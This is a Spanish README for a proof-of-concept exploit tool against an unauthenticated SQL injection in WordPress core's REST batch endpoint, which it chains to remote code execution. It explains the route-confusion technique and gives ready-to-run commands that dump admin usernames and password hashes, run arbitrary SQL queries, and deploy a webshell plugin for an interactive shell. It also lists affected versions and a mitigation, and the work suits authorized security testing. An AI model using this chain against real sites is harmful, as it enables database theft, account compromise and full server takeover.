
CVE-2026-63030
Prueba de concepto para una inyección SQL no autenticada en el núcleo de WordPress que encadena a ejecución remota de código, mediante confusión de ruta en el endpoint REST batch (CVE-2026-63030).
El exploit no requiere credenciales ni configuración más allá de un objetivo accesible. Alcanza la inyección a través de un único endpoint: POST /wp-json/batch/v1.
El hallazgo en sí mismo es una inyección SQL no autenticada — check la confirma y read demuestra lectura arbitraria de la base de datos. El comando shell es opcional posterior a la explotación (credenciales de administrador recuperadas → subida de plugin → ejecución de comandos), incluido para demostrar el impacto completo; no es la vulnerabilidad.
| Rama | Afectada | Corregida en |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
Las versiones anteriores a 6.9.0 no están afectadas por esta cadena.
El endpoint REST batch (/batch/v1) no está autenticado y ejecuta varias sub-peticiones en una sola llamada, confiando en que cada sub-petición sea validada y verificada por permisos de forma individual.
serve_batch_request_v1() construye dos arrays paralelos: $matches (el manejador correspondiente por sub-petición) y $validation (el resultado de validación por sub-petición), y luego indexa ambos por el mismo desplazamiento al despachar. Una sub-petición cuya ruta falla en wp_parse_url() se agrega a $validation pero no a $matches, por lo que los arrays se desincronizan y una sub-petición se despacha bajo un manejador diferente al de la sub-petición original. Esa es la confusión de ruta.
El PoC anida la primitiva dos veces:
POST /wp/v2/posts que lleva un cuerpo requests se despacha bajo el propio manejador batch. Al haber sido validada como una petición de posts, su lista requests nunca se verifica contra el esquema batch, por lo que sus sub-peticiones pueden usar GET — se omite la lista blanca de métodos.GET /wp/v2/users que lleva una cadena author_exclude (el esquema de usuarios no tiene ese parámetro, por lo que el valor pasa la validación sin cambios) se despacha bajo get_items() de posts. Allí, author_exclude se asigna a la variable de consulta author__not_in de WP_Query, que la versión vulnerable interpola en SQL como una cadena.El resultado es una inyección SQL ciega basada en booleano y tiempo, accesible sin autenticación previa. Con acceso de lectura a la base de datos se puede recuperar el hash de la contraseña del administrador; una vez descifrada, el acceso de administrador permite ejecución de código mediante la subida de un plugin.
Python 3.8+ y la biblioteca estándar. Sin dependencias de terceros.
Ejecútelo desde el directorio del repositorio:
./wp2shell.py <comando> <url> [opciones]
O pip install . para obtener un comando wp2shell en su PATH.
Confirma la explotabilidad mediante un retardo diferencial de tiempo. No lee ningún dato ni cambia nada.
./wp2shell.py check http://objetivo
./wp2shell.py read http://objetivo # huella del servidor
./wp2shell.py read http://objetivo --preset users # inicios de sesión y hashes de contraseñas
./wp2shell.py read http://objetivo --query "SELECT @@version"
Explotación posterior opcional. Requiere credenciales de administrador válidas; la inyección recupera el hash de la contraseña, así que proporcione aquí la contraseña en texto plano recuperada.
./wp2shell.py shell http://objetivo --user admin --password '<recuperado>' --cmd id
./wp2shell.py shell http://objetivo --user admin --password '<recuperado>' -i # shell interactivo
shell sube un webshell como plugin (bloqueado detrás de una ruta aleatoria y un token por ejecución) e imprime su ruta. Elimínelo cuando termine.
Actualice a WordPress 6.9.5 o 7.0.2. Hasta entonces, bloquee tanto /wp-json/batch/v1 como el parámetro de consulta rest_route=/batch/v1 en el borde de la red, o exija autenticación para el endpoint batch mediante el filtro rest_pre_dispatch.
Solo para pruebas de seguridad autorizadas. Úselo exclusivamente contra sistemas que posea o para los que tenga permiso explícito por escrito. El autor no acepta ninguna responsabilidad por uso indebido.
| Opción | Aplica a | Descripción |
|---|
--rest-route | todas | Usar /?rest_route=/batch/v1 (para sitios sin enlaces permanentes). |
--proxy URL | todas | Enrutar tráfico a través de un proxy HTTP (por ejemplo, Burp). |
--timeout N | todas | Tiempo de espera de la solicitud en segundos. |
--sleep N | check | Retardo utilizado para confirmar la inyección. |
--preset | read | fingerprint o users. |
--query | read | Una expresión SQL escalar para leer. |
--prefix | read | Prefijo de tabla de la base de datos (por defecto wp_). |
--max-length N | read | Máximo de caracteres leídos por valor (por defecto 128). |
--user / --password | shell | Credenciales de administrador (texto plano, recuperadas del hash). |
--cmd | shell | Comando a ejecutar (omitir al usar -i). |
-i / --interactive | shell | Abrir un shell interactivo después del despliegue. |